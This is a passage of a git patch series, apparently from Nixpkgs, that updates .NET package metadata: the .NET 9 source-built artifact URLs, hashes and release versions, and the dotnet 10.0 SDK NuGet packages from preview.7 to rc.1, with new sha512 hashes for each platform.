@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-Qv3+NzOISj9s6ztCj/NGzLkvlQEMRH4n87Fk9wFFcww=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.9.0.108-servicing.25317.1.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-l3OJuH6nFSoun5uU0dIhumtP25QjKbE/qeb+F/K81M0="
+  "tarballHash": "sha256-MQFwplcvl8bRQ3Ak60exusXgoWl3ZjHfBhdUJj3PYtY=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.9.0.109-servicing.25368.1.centos.9-x64.tar.gz",
+  "artifactsHash": "sha256-RoEaBJESjYehHRzrRPNmZjY9yI9WCNLhmqb/8EgSuqw="
 }
diff --git a/pkgs/development/compilers/dotnet/9/release.json b/pkgs/development/compilers/dotnet/9/release.json
index 05a9b704456a..ac4ad5be87b1 100644
--- a/pkgs/development/compilers/dotnet/9/release.json
+++ b/pkgs/development/compilers/dotnet/9/release.json
@@ -1,10 +1,10 @@
 {
-  "release": "9.0.8",
+  "release": "9.0.9",
   "channel": "9.0",
-  "tag": "v9.0.109",
-  "sdkVersion": "9.0.109",
-  "runtimeVersion": "9.0.8",
-  "aspNetCoreVersion": "9.0.8",
+  "tag": "v9.0.110",
+  "sdkVersion": "9.0.110",
+  "runtimeVersion": "9.0.9",
+  "aspNetCoreVersion": "9.0.9",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "a1e39f97e51f1d381385d2dc6c94b368ea333784"
+  "sourceVersion": "999243871ad8799c178193bb2d384dfbcfd94ce6"
 }

From 8b49846a76fb645bbacbb1b8dce06de0ec99467b Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 10 Sep 2025 01:07:57 +0000
Subject: [PATCH 4502/4511] dotnetCorePackages.sdk_10_0-bin:
 10.0.100-preview.7.25380.108 -> 10.0.100-rc.1.25451.107

(cherry picked from commit 407660a3c3cab3840a50e80ed735fc4b229311a2)
---
 .../compilers/dotnet/versions/10.0.nix        | 422 +++++++++---------
 1 file changed, 211 insertions(+), 211 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/10.0.nix b/pkgs/development/compilers/dotnet/versions/10.0.nix
index 694ec7c5fb0d..db6d10d0b1a2 100644
--- a/pkgs/development/compilers/dotnet/versions/10.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/10.0.nix
@@ -5,34 +5,34 @@
   fetchNupkg,
 }:
 
-# v10.0 (preview)
+# v10.0 (go-live)
 
 let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-ZedqhbGvDx8Ajn1N9SRKq4q/m7rIQdPmcvQS7WOaijpqqjNa4P4zTd1kx+/kb6a5FJ6thD6yt/hEADTGpUpflg==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-0wQQq3RPKM6EU5FXQT7bMvbPsKE+6UGlfP5FHQh/91fb09/lhVlFCO9oMUOkX8/ntQN4w+eqnrB2tPCHXu++iA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-OcQqR5UG3AFa0aQNIRTB3acRpQ+OhuF8ZpLIQM3xp+egvzzKRP20jja/gWhngIVtEA012XxLiNxJrHhzWhtLhQ==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-hMhKJaqLUWSaHBcNP/OLQ9RFIppWqztgWh1Mi28aCj6a1+aTfjLNc9NmAsGC27SeqIylMYC9zoKTp6BMPdF/fA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-1UT2fr9kFvdpRb3+h3dTmGTnhKTvGKpYFRQuZUD8ukmaQ9ABhnXp35E8GJoA6d6pOERiRnhimzrVg/X3B4znUA==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-j/HfJgOT/5dMNPQsEQvilDp5LyTRa5SIVHZ5dYsckLrnlff5KHot4lYoyPvQNfFzag1hxsgMUtOfbslDFHUEGQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-Eekoq6ATo+jeIsK0GafnGK8XkdjKtdOVT7deD1TWo04/nt0KV7nOmBUOhwUKY1sBsjvTQvOoDthn505f74N3Vg==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-0x4km79b8z+HFPd1qXOhx65BGDLRYECLKbjyzhrFaOx69zBNQHbL7nqTS+qXZ0BzckdGEBARrYa80QinpIIF6A==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "10.0.0-preview.7.25380.108";
-      hash = "sha512-pX4P7NG1jHIRJrbHrVP/MvDyA89o7HeuKucToiIH6flQ5ixTntZJupIW5qg2wsScJOltfP3A7j/w6MTRA9dHOQ==";
+      version = "10.0.0-rc.1.25451.107";
+      hash = "sha512-XisyrroZsOir2prziGawVqx8sVAFvyamu5W5ordZYYuHIr/yeLlC6xDCgZ1CMhHE00ElUyc34ChHl6gUgQdCeg==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-ekrR6F7cC48jWc0+Fyv3emOc5bkuv+yvKg2ZDjuv9gRf6e8zWGG6PkXKkPuo8sxHacPucgc1bIibVgVGJi20VA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-OaAv+l8BEw6MTrpB8e/j3QBGRR5IUr9pX5cjP5e0ooc71fl2JYVmcSgiY+D3diEHhkCMf5T9A+esQxctbZ1CIg==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-QUg7nZopW/0+Lnk4VeNHF3Ov3I6IuqsDSbvkeEDWjWyNXyOnJzDErKN3d5p6jWdmc3jjndyOw1137vaOKV5apA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-gh184Rc4Jappn49zJ8Buwv1IQYjnTsS5Y2NRM9Un9m9lazL4vGTrnn3JArCJhq30K9Fhs1CkOZdbqGT3RFNYcw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-k9W3fq0DjcbjxuveOQd1ou8fsHhNH/zHayPE9b1VRj2CijLx8krGGKkP3gUR7jLbOE+o9/Xln7cEsWzRBb9tdg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-qkVVYbGTFTdyrLjPTbzglGNdkL6R3z/DBs+rxcM/T7AVwP3Tz8WKkoFRZaRNclrwR2ZuEEACBvMULpTAF6HJqg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-+zsgGnlZS6MdL/uyvAQAN0KAc8Vk1qT8ylHCi+iwUXqwslSGtZQku+qGvkd7hjMMnEbnSa5j7xJY4PNGDbco4Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-P0WUXdJK1STziFoDpTuMqPy8uU6ZyVaRe2zkoOZsQZi61wKjT2SDMvF9hn6qWlcOI9eUS9sriqRsErrdjiICAg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-+LG/u+Jp6b3Oyud1QYP3nph1uqtx4rhPbeH65leIMSFQg6bB8Jd9g4hNwESllHd6iKpKP7Sp17VxLKynzxwHDw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-6z1jv0LvBwHU+vshvjc/PHb0f5QtKpTukl5QajjcwzP6sJ4tBKJejbNNYuFhUECsetMbtszBHhTuqSC/wTY71A==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-BE7hZwP4oZ5Xacmhjwc3Ciy0KJKOXwg9NJiBVzFv7xEJ7IqVceP7kAdMPsMNoojwz2KNs9gJdCOGOLtwyeTZyw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-EmYPxjHZfLErsOcJlqBwI/zk74tHsT46ItDhn+a8OzBWJkFBrjpbgjHwyx9kEYK+jrXZv+o2WpWVVtmBD/+zyA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-oskWoBpDhGI4WBOJPFTBIirjUdSs7hvHKGuz8OQmrByyv8C3rY9jtt+sM45uqINoGNyYsgbUQkQlKFhIB+mT+Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-6W1aeaZGo6oQGRAN016jgsLev1RKqktn8w5+omWLgq5L8Rq1SCMp1qrutiJmMyKHS++9c+s34ze5uF8iz3jnUA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-+/apDtwjBvmEn40DJ4yPOYqCsgIfhrD/zPYY15A6ny5kN1n6uV8LgUce9vv2HatRsD4uOuepD2z22/TbB8GjLA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-pZ/VK7ghPyIZGg0GOJpc8PWuv1PZe30t49tkBpT7ge7w2CAs+JYHwLL1QpkRVuhlokL12ReASj06DNy6rAMV5g==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-+uZHCjs+FlbFU2StjeANC3vvYjWd+6PlhIX0F8sHS60u3U9/HEi4JECQ0vhak5ODJCi+wktEKZQ53DwGAvPbJQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-k43sAfvYJ8+dupxMpwBAuY8g8Zyqt6yvaZfguWfZDe0o7njGlVXhllq3IL+v9WGMjGf4Cg1WEXNDuldn9yVzhQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-mtm6VWoDGYg7qlqF6sFlf8LBEbGOL6ZCSoqzZ7hmDBy9UIe0AswL0d+AhsDOE5ewHifbK+vGqXeK83ZdL/1IRA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Ikd+sEhKE0Tgl5jrGGQgKvVuk+/e3WmXZcUwheBmQqpggs7YMMD9k/BMxE5ro5G9ENEmP8hfJ9suJxG2OupDPA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-/X/ugPn9DMhWz26lDvuSlBqX/s56B7Sl/Qkd2/Jy5iYw64+9tOFo0Xh4kz0fF5nOj1H9RbKxIaNfPVc41rxvIQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-FxbAID6dZL0aaKDFr0usSHWC7JZ0ZqZVMIP20rWZJ2Qsvg9C++yoMoRxvfj/WD6ZIbSaU0sg5HxS2OxR1N37Kw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-/SiUD5N7pwkJ4mK83CBkre6oOB76BTJ7lJUTDDw3t8F6HUJS+3i6Cx9sODd7BS7TXXA5ahql2gcfohVsaFsR9Q==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-1PC+i3R6fAauQoxegCNPHaHx4hwkkHv6v2+OotoAGUf1Dz4YyED/Ho10HW+fCHklBmHkcg6CMMC3IzuPIo7IXw==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-WKqXIohGOzMUpDOsAEpknxj93fSuTzSdP7X/Ud19dggmqwPKMIWN5NZpWlBLdyP8+NMwLyNM/aR4uCtNf7MT2A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-s6K4cCACFPHmvJddqn9zVrz1za9CjyOMNgsZA4Oi2ItTgsCB/pQzr6IpCUzZKrMWiojxHCSx/uch7V5kWE+GVA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-GQokK1ugeF0JQi0IfkyNDm5nIVCKpH6V8zSskBRSAH8O5U4iVImpDkqBg1icxUFIAaVyiMi6GJB0CkTD2cC+yQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-SawdfjnEJnfC/W9ptl89rS83enNKCyoDN2x459bx7I90U6AfGumGd2r+phGBGyHRhhiLHt7+z+3mzs2uuId6Rg==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-X15A3yBhigC8T81Ut1Zqqay9HzfCjjwLh1QDbHL2XggIWiGzkDf4hSX7qnkbki12DdFZP5p0xDFiYsnEBTGNgg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-rHnlR/R0UqASrXuSQD2rJoN4iOrJcexSHmk9nPfCDIgNYSd8c/8JE17SGU7Y6ufR0JuiP1f09KV2jibaKutHEQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-vNMheP+ysMxIiINElw4ebu7O8KHDz+l2dYTlP9zfBllo7eJW3XX0k7kOP0nYke78KFhheXu2JUHAAEZVhazOUA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-CrFnRAHFOQUFaU3Q2XlJeWN9pKUX1YVZDTHpZ/e0+t1ZfCuu28CRmCdaB7OoWcwRRA3z8CqniK/sUpg+VmJhfw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-478qsicUIxQcpq/UGGoNNLRbUldl34RRZqxDdRl1HqC2D4aUdCpR3MEU5vd0zcbHxkegfPfgQgsv6xfIt+k/Ww==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-mnfrlJ2jELYNVRZEXsgJdseeiEIkjIME6I/GFO8jUaXW1v1ydYSs+AycagoNqNb4Ac231DLnLu8LU15M2YJljA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-fDGfrQnqXasfMLIUs2xVvLNxWjN0w7HypZ22wYG0y8PkN8u3vpVIQz9tYgUgEXvxKpFLYq1L2EcxksY6reAWug==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-ELGeVjCCBpYHZFl0wYqztcb53M8fHcuhX8g5Hp6ycUlc9sD6Zg7lXOh3fXSHOf73wEG9125DvC9U0eMnnugV7w==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-WE52ljXg7k8/ry1wBJ7lqrKniEZgwpMtuf7m82tMtuc30k5X+1nAbOa2evezPgjsXrB3k78uertzT+GoSRX/fQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-DQ4H2zfLSkyh8LyfdUUhgaWIZWBsuK++gE0++1KVgm6MceKAuoShj2vJ7bdGSaSJIrlg2Mcc/USgNpdRcXt4vQ==";
       })
     ];
   };
@@ -160,416 +160,416 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-TY4LXwPBf9d0vOpzCkV8Ze9e/Tnn4V07FkSctLB6Vc6XreNkVqEQcB1TuUQZOFc7pXBvpImRAD5mAfuLVNohDA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-V76NEL8Pf7FMvaglUhYTWvmbQlQHF4MKTWXU5z6l/63E/NE/GijuXi9+otgGmlfxBKCsdbCm6+JoMx3H1YQy5Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-UBWg0zDyYiiy3wXtxmRqaoAvi2hpXGGJ4VxoKcqgD927ftcYXz80g5dFDtk8zof3CVnfXHgaDCm40jxOrYU3qw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-HVKJb0V/eNXtq5wqhN/cSYcTWpTVtGQCg1ZhfVdAftkscOYkSv+IoDWMptmoMnmW91jTpe62+KkqoymNRQ8uqQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-ZHAexbNsU0DMvR9vVqYldw9m+wyqLM5AVZyx6E6Lgk5JzjgDI9rFfDI2h+UGi1WOJyKPDKrjyLWG5phtGC6ytg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-XooWEHZOLNd9G9+/Vh6zb7dP+FiW5l5DhLeWLreThBr6PVvojYf8fSB/J7gqk59x+mjgp+7JyLWDRBljiUbM6Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-HmKdrzhgbW4ikm6lKWgaBm5OokH7aPyGuaniMHvRKnHSeUxDYMj2PU/ZSIlIxTntxELeTBd+ZcJlknJqR7Duuw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-Z3tvIyDNhcR0Io5A/SxfhegCxX7wZwja9v9o/PJbwFgAJKby3YLv4Z0bFVt6h7UgtcMZQqzHFOn/pwsTEub0Zw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-3WlHMaSa60X/owt47VYhN/RYy/98jKjoQtzW/FoZUfc0E3aCN3pJeUGbEq9NrNLfu0XbEriwTuwVG6zyI0rr8A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-MR2RtWm4VBoGST8XUmdEIQrLVktNkp92pblT1NSd5M09v3pU7eNeKwt/BvO/BE+UVrsLbHXrXAJ+rP3Ycw7qqw==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-bPfmwsqmA39Vfa+Uu9mH1eaCJZo/qd+/O0aOYRhjSrypYBQK2AIif8lq7zYxhOR2U5AhvkkeqLNnaEC3spTHiA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-/za89BIwa39QXQOKX9S91MAJqnO9Xuc3s+LTiTK2/rwNYJy2TwB+wB8RKqjGg/Z8nejgHrjC4+7V4krvVBf5Rg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-OSpFCcAHBwfDK4bY6zNDfbtY+fKY6koEgvfVyk6OtdUI+dOM/Jjw9Kyxiqe1S8JC5dm3366+AFdqF2ZWbMW4fw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-a5mSgakxI87jUB3EhXje0LbbU+RpYFq+kI169o7dLH4jg2nDE173cvh19psJrM08ktwOYClGyvIAuvmeEwX1RA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-gFoRuWxJUSjqz8meGfPQhK/xI8LXK0/z2mOiVWfwFBO1lMuPUWFrzlUvoPBHhZSYj7578iHtUog8r/tnnK6+Bw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-zR78sN00inx8O5CyDdDcwuvwUApTZlYSmA5t+wd9mzzKVIGbZ4Cz9vEcpN8aHUN1XDEBATbx5wSkjB5GepfNVQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-BLvup3LOAkOw5G/xJ0j9pcTNNQuPLibW0u5bTVAmMYYZny8b39xNWWVqNQ8Rl5jewPko/8luoany0SbHZ+GUpQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-BJURYGy/fPMPR2V2ba/rtHCTpUfJzioEYLZcckSUj3+wYsrMyy55sF0nI9Ds2p8Fg/EalCFXoHYP8/2euX5Vlw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-koC5WN2WuOaApo6XSGjcdWKUhR94/7vZUiQZ9XKemdGJ2rpjgAhGvdQr0PcNqyTUDd+vC6LOsWjwwqg2GSHYnw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-oM+nJTEa7d9PHjAMuUCvKDtqqPPrFXJpoMacVPgYw3pAOsSp/g9mrULkD/h5paeL5v7cAsSf6bvHZEUkoWwbIQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-2NeuUX5T7ZRuc76byZXf7cLXYTK5fGufEbrjEXRlBMXyI+vQ8x+6BR+hbqef9JGylT8pcLv+xL11Gx39vk2KmQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-znRScAxeGIwwg6vKV2ADd2EDvfQLIubASsgoVLLVAOIW+W2LGF2Ia3uxgozn0b9wf2fV29w0S5DaeY97xl8DXg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-iZO21GJ4K+PjcH9Gn/OUVQrBkkfCVCifO+PsQItVuWuenEOwAShzCfz8E5icd/INLIosoriCyRV777jpjxHZXg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-xA5c2BK8D2p5xsJXvlIutBAjVBUWUVM1f85doMoIgzPwUaceyl6eFsEQ2zjDh1HCgtdkGFeJpGQ4aDzpKlpa3Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-SAKw8xQa/VBWOumG7JmId0UIKUs2RM8tnl3KPXJ85mjnrrP3wJLWynNf6v/hMxdxqjAOIb2Y6AIGwK4zFzA97g==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-K9FqPXfxZLiWkreTc8hXclaxo9mQ4EkHeAihT4NARE9O9lkVOZTBEZo+BcZuZxLZgO3Pj6GtBncMvTBKn6r/Hg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-PTVNAmlIQRHnMCcw8Pm5+t8eLLtwyZ1J6lUjTcZ68dU9FGXIySRr750lekvMpBugMjmXIsNw0VQvg9AnL5SIDQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-a6OPa8GApjr1CuaIREog/GL9pzxHiorvCP/YaYZtW0yNtRSv06cbdwEB+FYxc6tDSMIClzrUwshyR/hV5nSd0Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-x64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-cMnylrJR3P9phPos6bJJDinj8YO7eSeYxUijvcDHhGPXXzpD2aTZh2anv7WOSB84I21xKCpyjjgdhcdPgTCyJQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-ed/97KH2jVc0oedjN2EbzkMpiynEMr6YEhQWvGE0NKugdGLLR6Z72b1NyImy64UOs2FZX3zWg7tBBq+rDwlo1A==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-VbIqcklAsQYAAV5CTXo/6NAa6lkirCeh1XF7Yo2D6xZmkwLbQsKfNF1jpiwYr6luiVwJCkIA6p/owsPAZT42gA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-LzquzSN4IqJg/EADkUT8l+PCgGyuPcb2K80Oq9MXSgAEVCD2SRd3GepER785CpIlZfeXQsd4lsaklBo7GSoTBw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-H5a0wdzBU4tWXtTkYcgHsezWolqD59sDLSlDdOGE/OF7p3X1AijCo1BKCb/ub+Qn24dXoS7RGQf4TwmPP/fDdw==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-IFge3TxF+cZHd1z2RPokKpGiqNtSp2WtGza0HX9RYRHewP0hARf0d3hq1bDQAMLjJxf8mvoakDoH190dyXQITA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-DpKE33FA9NYJXAY5SbKcIfAvU5RyH30YqhCXxHi/NYfEcR6e5hrzn4992S6TpUQzeYHeJHprfXEQGK+x8bWTqg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-0G7roKbZ3URRaC+cOLAGkGADaZpUD4AJoYJBVnaH3HRsizbG7gASjmLfEiN6kvMnJI9Wf6K1f2yXVQeBryIzdQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-prERCrIwyGg735ahEDi15HwriaDnwZlQidlFkiDSOuh4EJTXLqbYvwJxSygCNIgKAivNEwt5HuqAR0WxIzxLJA==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-oWghxDXOEcNSUvjUuH+2OfqT0A1+MWf8YTNwMgRsxKQR/1XFtKthjR2oNnji7Jy3+2Tigmh4qeOOqk5VFNWeIg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.NativeAOT.linux-musl-arm";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-SvUcMwIUDjSW7wIrQEChlhqEmSWIhruBP6pfvPaWu6WI4n9X6PtPvqyJp5dza77GATyc5i9sjECy8HNxRro07w==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-AXyNqsmO+buzieRznlOThn0IiFWyTKInH9+7yq6EceZUFBmEanPrgKDZAOxqSjJ6wtOPo4vBkKhO0/7JB8kOeQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-gI8nk0A8LtN/NXufax5tgmoxnAFvG9SUA+yGfBz82HlAvwZkWeQsNjZav06LsIdBgY+34oJqPfhGFWki234b3A==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-siYdx85ZKIejQRsVe2+kQi9b2u1/6PXu0meoCoG/VQdl3zVXueKCsZwZne3yCou4lvxX+PnnGkYXk2tr9vVf4A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-6deTINJifUd+6BioAPScqa94hbH35wweO3UazZ0Dob4GFoSxD/z7jUjRIib/HmyhXz+F/QMOZapPNN+qNsmEPg==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-bOcl+8cIvTOtlYHJaHA9A5ebYma4XYjv2L3ziW+gG9HTOAgJjs82ql5RF7yRnHc/dPfvteeAOQzmaNJYFA7yvQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-T93T3DT3SakSQcwaB9SFTT6R38hEh0/52bM+4IqvFAo1EAKx3eXiKezE3bMSjOGKHxKzb71Rp1d9Jflv6capLQ==";
+        version = "10.0.0-rc.1.25451.107";
+        hash = "sha512-nRq3fnqsD3vc7M9GewuY8eX9spFG10t5NbrBAwMZ0EyZXbN5oj8oX+O3croxGLvmED9E4OhTY5Fn30EoKTnYMQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.7.25380.108";
-        hash = "sha512-dnHqxZvkLe4SubfrXiPhb08qkj2FOrdCBWLHo/Hd+pSop3C86rCTRJY454LrPwjnktjnQf/X0b4anadwOkckrg==";
